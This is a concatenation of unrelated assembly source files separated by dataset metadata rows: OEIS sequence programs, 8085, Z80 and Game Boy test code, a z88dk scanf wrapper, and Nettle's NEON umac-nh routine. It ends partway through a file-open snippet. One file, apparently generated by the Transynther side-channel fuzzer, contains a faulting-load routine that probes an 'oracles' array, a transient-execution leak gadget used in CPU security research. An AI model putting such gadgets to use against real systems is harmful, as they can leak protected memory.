00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 48.188119 | 2,999 | 0.660982 |
[
"MIT"
] |
danielmgmi/medusa
|
Transynther/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_21829_820.asm
| 4,867 |
Assembly
|
; A035005: Number of possible queen moves on an n X n chessboard.
; 0,12,56,152,320,580,952,1456,2112,2940,3960,5192,6656,8372,10360,12640,15232,18156,21432,25080,29120,33572,38456,43792,49600,55900,62712,70056,77952,86420,95480,105152,115456,126412,138040,150360,163392,177156,191672,206960,223040,239932,257656,276232,295680,316020,337272,359456,382592,406700,431800,457912,485056,513252,542520,572880,604352,636956,670712,705640,741760,779092,817656,857472,898560,940940,984632,1029656,1076032,1123780,1172920,1223472,1275456,1328892,1383800,1440200,1498112,1557556,1618552,1681120,1745280,1811052,1878456,1947512,2018240,2090660,2164792,2240656,2318272,2397660,2478840,2561832,2646656,2733332,2821880,2912320,3004672,3098956,3195192,3293400,3393600,3495812,3600056,3706352,3814720,3925180,4037752,4152456,4269312,4388340,4509560,4632992,4758656,4886572,5016760,5149240,5284032,5421156,5560632,5702480,5846720,5993372,6142456,6293992,6448000,6604500,6763512,6925056,7089152,7255820,7425080,7596952,7771456,7948612,8128440,8310960,8496192,8684156,8874872,9068360,9264640,9463732,9665656,9870432,10078080,10288620,10502072,10718456,10937792,11160100,11385400,11613712,11845056,12079452,12316920,12557480,12801152,13047956,13297912,13551040,13807360,14066892,14329656,14595672,14864960,15137540,15413432,15692656,15975232,16261180,16550520,16843272,17139456,17439092,17742200,18048800,18358912,18672556,18989752,19310520,19634880,19962852,20294456,20629712,20968640,21311260,21657592,22007656,22361472,22719060,23080440,23445632,23814656,24187532,24564280,24944920,25329472,25717956,26110392,26506800,26907200,27311612,27720056,28132552,28549120,28969780,29394552,29823456,30256512,30693740,31135160,31580792,32030656,32484772,32943160,33405840,33872832,34344156,34819832,35299880,35784320,36273172,36766456,37264192,37766400,38273100,38784312,39300056,39820352,40345220,40874680,41408752,41947456,42490812,43038840,43591560,44148992,44711156,45278072,45849760,46426240,47007532,47593656,48184632,48780480,49381220,49986872,50597456,51212992,51833500
mov $1,$0
mul $0,5
add $0,5
bin $0,2
mul $1,$0
div $1,15
mul $1,4
| 192.545455 | 1,984 | 0.858829 |
[
"Apache-2.0"
] |
jmorken/loda
|
programs/oeis/035/A035005.asm
| 2,118 |
Assembly
|
; A073357: Binomial transform of tribonacci numbers.
; 0,1,3,8,22,62,176,500,1420,4032,11448,32504,92288,262032,743984,2112384,5997664,17029088,48350464,137280832,389779648,1106696192,3142227840,8921685888,25331224576,71922610432,204208915200,579807668224,1646240232960,4674148089344,13271246761984,37680875156480,106986809756672,303766231924736,862479438985216,2448826447755264,6952920498929664,19741335082668032,56051311230464000,159145745589043200,451860407599652864,1282961270503366656,3642694942792941568,10342655504357605376,29365764787265388544,83377827017217015808,236733559928521719808,672154461219749593088,1908439259199345524736,5418606311775427166208,15384977132743825752064,43682361802272285392896,124026751301664692895744,352147512263057281515520,999847767450114925264896,2838854523351559960788992,8060322048131894705127424,22885565634021568827883520,64978683390261816412602368,184493115121224779749130240,523828858191894991001878528,1487300339063204477836197888,4222872153727687506835537920,11989944975041722098001117184,34042891963382547320334712832,96657532260818675903005458432,274438451139827958526685216768,779209459442802225135388459008,2212399097733534418240823885824,6281635455442584689475112140800,17835364349721805535207929937920,50639713772583952219412918960128,143780668602333756115770180370432,408234548018442826655844905517056,1159094945209604186599124738506752,3291002925969312952004659692699648,9344101019075720714933829627805696,26530582262844839424914929217437696,75327930827015100743933717743927296,213877596294832486705942813361569792,607259826396959222697866240905445376
mov $2,1
lpb $0
sub $0,1
add $1,$2
mul $2,2
add $2,$4
add $3,$1
mov $4,$3
lpe
mov $0,$1
| 122 | 1,553 | 0.913934 |
[
"Apache-2.0"
] |
ckrause/cm
|
programs/oeis/073/A073357.asm
| 1,708 |
Assembly
|
; A053842: (Sum of digits of n written in base 7) modulo 7.
; 0,1,2,3,4,5,6,1,2,3,4,5,6,0,2,3,4,5,6,0,1,3,4,5,6,0,1,2,4,5,6,0,1,2,3,5,6,0,1,2,3,4,6,0,1,2,3,4,5,1,2,3,4,5,6,0,2,3,4,5,6,0,1,3,4,5,6,0,1,2,4,5,6,0,1,2,3,5,6,0,1,2,3,4,6,0,1,2,3,4,5,0,1,2,3,4,5,6,2,3,4,5,6,0,1,3,4,5,6,0,1,2,4,5,6,0,1,2,3,5,6,0,1,2,3,4,6,0,1,2,3,4,5,0,1,2,3,4,5,6,1,2,3,4,5,6,0,3,4,5,6,0,1,2,4,5,6,0,1,2,3,5,6,0,1,2,3,4,6,0,1,2,3,4,5,0,1,2,3,4,5,6,1,2,3,4,5,6,0,2,3,4,5,6,0,1,4,5,6,0,1,2,3,5,6,0,1,2,3,4,6,0,1,2,3,4,5,0,1,2,3,4,5,6,1,2,3,4,5,6,0,2,3,4,5,6,0,1,3,4,5,6,0,1,2,5,6,0,1,2
lpb $0,1
add $1,$0
div $0,7
lpe
lpb $1,1
mod $1,7
lpe
| 56.636364 | 501 | 0.518459 |
[
"Apache-2.0"
] |
karttu/loda
|
programs/oeis/053/A053842.asm
| 623 |
Assembly
|
MVI A, 0 ; A yı sıfırla
LXI H, 0400H ; HL ye 0400H yükle
MOV M, A ; HL(0400H) yi sıfırla
INR L ; L yi 1 arttır
MOV M, A ; HL(0401H) yi sıfırla
HLT ; Sonlandır
; 0400H ve 0401H adreslerinin içeriğini sıfırlar
| 26.25 | 48 | 0.7 |
[
"MIT"
] |
furkanisitan/ExampleProgramsFor8085Microprocessor
|
1_TwoConsecutiveMemoryReset.asm
| 224 |
Assembly
|
INCLUDE "config_private.inc"
SECTION code_clib
SECTION code_math
PUBLIC l_mulu_64_64x64
; 64-bit multiplication
;
; enter : +-------------------------------
; | +15
; | ... multiplicand AB (8 bytes)
; | + 8
; ix = |-------------------------------
; | + 7
; | ... multiplicand CD (8 bytes)
; | + 0
; +-------------------------------
;
; exit : ix structure unchanged
; dehl' dehl = 64-bit product
; carry set if overflow
;
; uses : af, bc, de, hl, af', bc', de', hl'
IF __CPU_Z180__ && ((__CLIB_OPT_IMATH = 0) || (__CLIB_OPT_IMATH = 100))
EXTERN l_z180_mulu_64_64x64
defc l_mulu_64_64x64 = l_z180_mulu_64_64x64
ELSE
IF __CPU_Z80N__ && ((__CLIB_OPT_IMATH = 0) || (__CLIB_OPT_IMATH = 100))
EXTERN l_z80n_mulu_64_64x64
defc l_mulu_64_64x64 = l_z80n_mulu_64_64x64
ELSE
IF __CLIB_OPT_IMATH <= 50
EXTERN l_small_mul_64_64x64
defc l_mulu_64_64x64 = l_small_mul_64_64x64
ENDIF
IF __CLIB_OPT_IMATH > 50
EXTERN l_fast_mulu_64_64x64
defc l_mulu_64_64x64 = l_fast_mulu_64_64x64
ENDIF
ENDIF
ENDIF
| 20.724138 | 71 | 0.547421 |
[
"BSD-2-Clause"
] |
ByteProject/Puddle-BuildTools
|
FictionTools/z88dk/libsrc/_DEVELOPMENT/math/integer/l_mulu_64_64x64.asm
| 1,202 |
Assembly
|
; A315886: Coordination sequence Gal.6.527.6 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,6,8,14,16,22,24,30,36,38,44,46,52,54,60,66,68,74,76,82,84,90,96,98,104,106,112,114,120,126,128,134,136,142,144,150,156,158,164,166,172,174,180,186,188,194,196,202,204,210
mul $0,2
mov $1,3
sub $1,$0
trn $1,2
add $1,$0
add $0,$1
trn $0,3
mov $2,6
lpb $0
sub $0,1
trn $0,$2
add $1,4
lpe
| 27.882353 | 177 | 0.685654 |
[
"Apache-2.0"
] |
jmorken/loda
|
programs/oeis/315/A315886.asm
| 474 |
Assembly
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r15
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x67f9, %r8
nop
sub $55510, %rsi
movw $0x6162, (%r8)
nop
nop
and $45579, %r14
lea addresses_D_ht+0xaaca, %rsi
lea addresses_WC_ht+0x7f9, %rdi
nop
nop
nop
add %r15, %r15
mov $43, %rcx
rep movsl
nop
nop
nop
nop
nop
and %rbp, %rbp
lea addresses_WC_ht+0x15ff9, %rsi
lea addresses_WC_ht+0x1af7d, %rdi
cmp %r13, %r13
mov $119, %rcx
rep movsq
nop
nop
nop
nop
nop
xor %rbp, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %r15
push %rdi
push %rdx
// Store
lea addresses_D+0xa279, %r15
sub $61117, %r14
movl $0x51525354, (%r15)
nop
nop
nop
sub $52132, %rdx
// Faulty Load
lea addresses_normal+0x67f9, %rdi
nop
nop
nop
nop
nop
cmp %r13, %r13
mov (%rdi), %r11w
lea oracles, %r15
and $0xff, %r11
shlq $12, %r11
mov (%r15,%r11,1), %r11
pop %rdx
pop %rdi
pop %r15
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 46.320755 | 2,999 | 0.661711 |
[
"MIT"
] |
danielmgmi/medusa
|
Transynther/_processed/NONE/_xt_/i7-8650U_0xd2.log_21829_563.asm
| 4,910 |
Assembly
|
MODULE scanf
SECTION code_clib
PUBLIC scanf
EXTERN asm_scanf
EXTERN __sgoioblk
; sccz80 version
;void scanf(char *fmt,...)
;{
; asm_scanf(fp, ungetc, getc, sccz80_delta, *ct,ct-1);
;}
scanf:
ld l,a
ld h,0
add hl,hl
add hl,sp ;&fmt
push ix ;save callers
ld bc,__sgoioblk ;stdin
push bc ;fp
ld bc,1 ;sccz80
push bc
ld c,(hl) ;fmt
inc hl
ld b,(hl)
push bc
dec hl
dec hl
dec hl
push hl ;&ap
call asm_scanf
pop bc
pop bc
pop bc
pop bc
pop ix
ret
| 11.177778 | 61 | 0.626243 |
[
"BSD-2-Clause"
] |
ByteProject/Puddle-BuildTools
|
FictionTools/z88dk/libsrc/stdio/scanf.asm
| 503 |
Assembly
|
C arm/neon/umac-nh.asm
ifelse(<
Copyright (C) 2013 Niels Möller
This file is part of GNU Nettle.
GNU Nettle is free software: you can redistribute it and/or
modify it under the terms of either:
* the GNU Lesser General Public License as published by the Free
Software Foundation; either version 3 of the License, or (at your
option) any later version.
or
* the GNU General Public License as published by the Free
Software Foundation; either version 2 of the License, or (at your
option) any later version.
or both in parallel, as here.
GNU Nettle is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received copies of the GNU General Public License and
the GNU Lesser General Public License along with this program. If
not, see http://www.gnu.org/licenses/.
>)
.file "umac-nh.asm"
.fpu neon
define(<KEY>, <r0>)
define(<LENGTH>, <r1>)
define(<MSG>, <r2>)
define(<SHIFT>, <r3>)
define(<QA>, <q0>)
define(<QB>, <q1>)
define(<DM>, <d16>)
define(<QLEFT>, <q9>)
define(<QRIGHT>, <q10>)
define(<QY>, <q11>)
define(<QT0>, <q12>)
define(<QT1>, <q13>)
define(<QK0>, <q14>)
define(<QK1>, <q15>)
.text
.align 3
PROLOGUE(_nettle_umac_nh)
C Setup for 64-bit aligned reads
ands SHIFT, MSG, #7
and MSG, MSG, #-8
vld1.8 {DM}, [MSG :64]
addne MSG, MSG, #8
addeq SHIFT, SHIFT, #8
C FIXME: Combine as rsb ?
lsl SHIFT, SHIFT, #3
neg SHIFT, SHIFT
C Right shift in QRIGHT (both halves)
vmov.i32 D0REG(QRIGHT)[0], SHIFT
vmov.32 D1REG(QRIGHT), D0REG(QRIGHT)
add SHIFT, SHIFT, #64
vmov.i32 D0REG(QLEFT)[0], SHIFT
vmov.32 D1REG(QLEFT), D0REG(QLEFT)
vmov.i64 QY, #0
vshl.u64 DM, DM, D0REG(QRIGHT)
.Loop:
C Set m[i] <-- m[i-1] >> RSHIFT + m[i] << LSHIFT
vld1.8 {QA, QB}, [MSG :64]!
vshl.u64 QT0, QA, QRIGHT
vshl.u64 QT1, QB, QRIGHT
vshl.u64 QA, QA, QLEFT
vshl.u64 QB, QB, QLEFT
veor D0REG(QA), D0REG(QA), DM
veor D1REG(QA), D1REG(QA), D0REG(QT0)
veor D0REG(QB), D0REG(QB), D1REG(QT0)
veor D1REG(QB), D1REG(QB), D0REG(QT1)
vmov DM, D1REG(QT1)
vld1.i32 {QK0, QK1}, [KEY]!
vadd.i32 QA, QA, QK0
vadd.i32 QB, QB, QK1
subs LENGTH, LENGTH, #32
vmlal.u32 QY, D0REG(QA), D0REG(QB)
vmlal.u32 QY, D1REG(QA), D1REG(QB)
bhi .Loop
vadd.i64 D0REG(QY), D0REG(QY), D1REG(QY)
C return value needs to respect word order mandated by AAPCS
IF_LE(< vmov r0, r1, D0REG(QY)>)
IF_BE(< vmov r1, r0, D0REG(QY)>)
bx lr
EPILOGUE(_nettle_umac_nh)
| 24.942857 | 72 | 0.672012 |
[
"MIT"
] |
TheShellLand/crossover-source
|
gnutls/nettle/arm/neon/umac-nh.asm
| 2,620 |
Assembly
|
; PRINT THE SUM OF AN ARITHMATIC SERIES
; 1 + 2 + 3 + 4 + 5 + ........ = SUM
.MODEL SMALL
.STACK 100H
.CODE
MAIN PROC
MOV AL, '0' ; HOLDS SUM
MOV AH, '1' ; HOLDS X .i.e X = 1
MOV BL, 1 ; HOLDS I .i.e I = 0
MOV BH, 3 ; HOLDS N=10
MOV CL, '1' ; HOLDS COMMON DIFFERENCE D .i.e D=1
LOOP1:
ADD AL, AH
SUB AL, '0'
ADD AH, CL
SUB AH, '0'
INC BL
CMP BL, BH
JNG LOOP1
; PRINT
MOV DL, AL
;SUB DL, '0'
MOV AH, 2
INT 21H
; RETURN TO DOS
MOV AH, 4CH
INT 21H
MAIN ENDP
END MAIN
| 19.828571 | 57 | 0.407781 |
[
"MIT"
] |
rng70/Assembly-Programming
|
19. SERIES.asm
| 694 |
Assembly
|
.size 8000
.text@58
jp lstartserial
.text@100
jp lbegin
.data@143
80
.text@150
lbegin:
xor a, a
ldff(0f), a
ld a, 08
ldff(ff), a
ld a, 81
ldff(02), a
ei
.text@1000
lstartserial:
xor a, a
ldff(01), a
ld a, 81
ldff(02), a
.text@1200
ldff(02), a
.text@1500
xor a, a
ldff(0f), a
.text@15f0
ldff a, (0f)
jp lprint_a
.text@7000
lprint_a:
push af
ld b, 91
call lwaitly_b
xor a, a
ldff(40), a
ld bc, 7a00
ld hl, 8000
ld d, 00
lprint_copytiles:
ld a, (bc)
inc bc
ld(hl++), a
dec d
jrnz lprint_copytiles
pop af
ld b, a
srl a
srl a
srl a
srl a
ld(9800), a
ld a, b
and a, 0f
ld(9801), a
ld a, c0
ldff(47), a
ld a, 80
ldff(68), a
ld a, ff
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
xor a, a
ldff(69), a
ldff(69), a
ldff(43), a
ld a, 91
ldff(40), a
lprint_limbo:
jr lprint_limbo
.text@7400
lwaitly_b:
ld c, 44
lwaitly_b_loop:
ldff a, (c)
cmp a, b
jrnz lwaitly_b_loop
ret
.data@7a00
00 00 7f 7f 41 41 41 41
41 41 41 41 41 41 7f 7f
00 00 08 08 08 08 08 08
08 08 08 08 08 08 08 08
00 00 7f 7f 01 01 01 01
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 01 01 01 01
3f 3f 01 01 01 01 7f 7f
00 00 41 41 41 41 41 41
7f 7f 01 01 01 01 01 01
00 00 7f 7f 40 40 40 40
7e 7e 01 01 01 01 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 41 41 41 41 7f 7f
00 00 7f 7f 01 01 02 02
04 04 08 08 10 10 10 10
00 00 3e 3e 41 41 41 41
3e 3e 41 41 41 41 3e 3e
00 00 7f 7f 41 41 41 41
7f 7f 01 01 01 01 7f 7f
00 00 08 08 22 22 41 41
7f 7f 41 41 41 41 41 41
00 00 7e 7e 41 41 41 41
7e 7e 41 41 41 41 7e 7e
00 00 3e 3e 41 41 40 40
40 40 40 40 41 41 3e 3e
00 00 7e 7e 41 41 41 41
41 41 41 41 41 41 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 40 40 40 40
7f 7f 40 40 40 40 40 40
| 13.751938 | 24 | 0.624014 |
[
"MIT"
] |
Manurocker95/GiovanniEmulator
|
GIOVANNI/gambatte/test/hwtests/serial/start_wait_restart_read_if_1_dmg08_cgb04c_outE0.asm
| 1,774 |
Assembly
|
org 100h
; add your code here
MOV AX, 0300H
MOV DS, AX
MOV CX, 4A3CH
MOV [3126H], CX
MOV DX, 10H
MUL DX
ADD AX, 3126H
ret
| 6.409091 | 26 | 0.602837 |
[
"MIT"
] |
vishwas1101/Misc
|
MPI/Lab-3/physical_address_3_problem.asm
| 141 |
Assembly
|
;Rutinas de operaciones basicas con numeros de 16,24 y 32 bits.
VAR1 .EQU 090h
VAR2 .equ 094h
Inicio: LD HL,VAR1 ;Cargamos la direcion del primer numero en HL
;LD DE,VAR2 ;Cargamos la direcion del segundo numero en DE
CALL CPL16 ;Hacemos la resta (VAR1)=(DE)-(HL)
HALT
JP FIN
;/////////////////////////////////////////////////////////////
;Rutinas para complementar numeros de 16,24 y 32 bits
;La direccion del dato a complementar se debe guardar en HL
;
;
;
;Ejemplo
; LD HL,VAR1 ;Cargamos el apuntador a la variable en HL
; CALL CPL16 ;Complementamos el contenido de la variable
; ;(VAR1)= !(VAR1)
CPL16: LD B,2
JP CPL_
CPL24: LD B,3
JP CPL_
CPL32: LD B,4
JP CPL_
CPL_ LD A,(HL)
CPL
LD (HL),A
INC HL
DJNZ CPL_
RET
;/////////////////////////////////////////////////////////////
;/////////////////////////////////////////////////////////////
;Rutinas para incrementar numeros de 16,24 y 32 bits
;La direccion del dato a incrementar se debe guardar en HL
;
;
;
;Ejemplo
; LD HL,VAR1 ;Cargamos el apuntador a la variable en HL
; CALL INC16 ;Incrementamos el contenido de la variable
; ; (VAR1)= (VAR1)+1
INC16: LD B,2
JP INC_
INC24: LD B,3
JP INC_
INC32: LD B,4
JP INC_
INC_ LD A,0FFh
INC A
CINC_: LD A,(HL)
ADC A,0
LD (HL),A
INC HL
DJNZ CINC_
RET
;/////////////////////////////////////////////////////////////
;/////////////////////////////////////////////////////////////
;Rutinas para sumar numeros de 16,24 y 32 bits
;Las direcciones de los datos a sumar se deben guardar
;en HL y DE, y el resultado se guarda en al direccion de la
;variable asignada a HL
;
;Ejemplo
; LD DE,VAR1 ;Cargamos el apuntador a la variable 1 en DE
; LD HL,VAR2 ;Cargamos el apuntador a la variable 2 en HL
; CALL SUMA32 ; (VAR2)=(HL)+(DE)
SUMA16:
LD B,2
JP SUMA_
SUMA24:
LD B,3
JP SUMA_
SUMA32:
LD B,4
JP SUMA_
SUMA_:
OR A
CSUMA_:
LD A,(DE)
ADC A,(HL)
LD (HL),A
INC DE
INC HL
DJNZ CSUMA_
RET
;/////////////////////////////////////////////////////////////
;/////////////////////////////////////////////////////////////
;Rutinas para restar numeros de 16,24 y 32 bits
;Las direcciones de los datos a restar se deben guardar
;en HL y DE, y el resultado se guarda en al direccion de la
;variable asignada a HL. Se realiza [(HL)=(DE)-(HL)]
;
;Ejemplo
; LD DE,VAR1 ;Cargamos el apuntador a la variable 1 en DE
; LD HL,VAR2 ;Cargamos el apuntador a la variable 1 en DE
; CALL RESTA32 ;Hacemos la resta (VAR2)=(DE)-(HL)
RESTA16: LD B,2
JP RESTA_
RESTA24: LD B,3
JP RESTA_
RESTA32: LD B,4
JP RESTA_
RESTA_: OR A
CRES_: LD A,(DE)
SBC A,(HL)
LD (HL),A
INC DE
INC HL
DJNZ CRES_
RET
;/////////////////////////////////////////////////////////////
FIN: HALT
| 22.959677 | 65 | 0.537408 |
[
"MIT"
] |
alfreedom/Z80-ASM-Programs
|
Subrutinas.asm
| 2,847 |
Assembly
|
; A189782: n+[nr/t]+[ns/t]; r=pi/2, s=arcsin(8/17), t=arcsin(15/17).
; 2,4,8,10,14,16,20,22,26,28,30,34,36,40,42,46,48,52,54,58,60,62,66,68,72,74,78,80,84,86,90,92,94,98,100,104,106,110,112,116,118,122,124,126,130,132,136,138,142,144,148,150,154,156,158,162,164,168,170,174,176,180,182,186,188,190,194,196,200,202,206,208,212,214,216,220,222,226
mov $4,$0
add $4,1
mov $7,$0
lpb $4
mov $0,$7
sub $4,1
sub $0,$4
mov $2,2
mov $6,$0
lpb $2
mov $0,$6
sub $2,1
add $0,$2
mul $0,14
sub $0,1
mul $0,14
div $0,432
mov $5,$0
mov $8,$2
lpb $8
mov $3,$5
sub $8,1
lpe
lpe
lpb $6
sub $3,$5
mov $6,0
lpe
mov $5,$3
mul $5,2
add $5,2
add $1,$5
lpe
| 19.540541 | 276 | 0.543568 |
[
"Apache-2.0"
] |
jmorken/loda
|
programs/oeis/189/A189782.asm
| 723 |
Assembly
|
SFX_Cry04_2_Ch1:
dutycycle 240
unknownsfx0x20 4, 247, 160, 6
unknownsfx0x20 8, 230, 164, 6
unknownsfx0x20 4, 214, 160, 6
unknownsfx0x20 12, 211, 32, 6
unknownsfx0x20 8, 195, 36, 6
unknownsfx0x20 4, 194, 32, 6
unknownsfx0x20 8, 177, 16, 6
endchannel
SFX_Cry04_2_Ch2:
dutycycle 90
unknownsfx0x20 4, 231, 1, 6
unknownsfx0x20 8, 214, 3, 6
unknownsfx0x20 4, 198, 1, 6
unknownsfx0x20 12, 195, 129, 5
unknownsfx0x20 8, 179, 131, 5
unknownsfx0x20 4, 178, 130, 5
unknownsfx0x20 8, 161, 113, 5
endchannel
SFX_Cry04_2_Ch3:
unknownnoise0x20 7, 214, 92
unknownnoise0x20 8, 230, 76
unknownnoise0x20 4, 212, 92
unknownnoise0x20 4, 212, 76
unknownnoise0x20 7, 195, 76
unknownnoise0x20 8, 161, 92
endchannel
| 21.818182 | 31 | 0.736111 |
[
"Unlicense"
] |
adhi-thirumala/EvoYellow
|
audio/sfx/cry04_2.asm
| 720 |
Assembly
|
%include "constants.asm"
global _start
section .data
filename db "hello.txt", 0 ; zero-terminated file name
msg db "Hi there.", 0ah
len equ $ - msg
section .text
_start:
; Open file
; `fd` will be stored in `rax` in case of success.
mov rax, SYS_OPEN
mov rdi, filename
